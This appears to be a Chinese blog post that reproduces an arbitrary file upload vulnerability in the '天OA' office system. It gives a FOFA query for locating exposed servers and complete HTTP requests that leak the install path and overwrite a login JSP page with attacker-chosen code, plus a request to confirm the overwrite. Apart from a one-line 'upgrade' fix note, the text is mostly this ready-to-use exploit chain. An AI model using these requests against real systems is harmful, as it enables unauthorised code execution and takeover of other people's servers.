目录
前言
本文只是照猫画虎,其真实的漏洞利用原理我还不清楚。
参考文章:【漏洞复现】天OA存在任意文件上传漏洞-CSDN博客
一、漏洞环境
fofa:body="/OAapp/WebObjects/OAapp.woa" || body="/OAapp/htpages/app"
二、复现步骤
1、获取htoa/的绝对路径
POST /OAapp/jsp/upload.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 293
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="xxx.xml"
Content-Type: image/png
real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"
xxx.png
------WebKitFormBoundary5Ur8laykKAWws2QO--
如图,得到htoa/路径在D:/下。
2、上传文件,写入内容
POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 411
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png
<%out.print("yyyyyyyyyyyyyyyyyyyyyyyyyyyy");%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"
D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--
这里有一点疑惑就是貌似只能上传normalLoginPageForOther.jsp,试过test.jsp,未成功,不清楚是normalLoginPageForOther.jsp本来就有只是修改了它的内容还是别的什么原因。
3、验证
访问normalLoginPageForOther.jsp。看内容是否与上传时传入的相同。
GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
如图,表示成功。
三、修复建议
升级至最新版。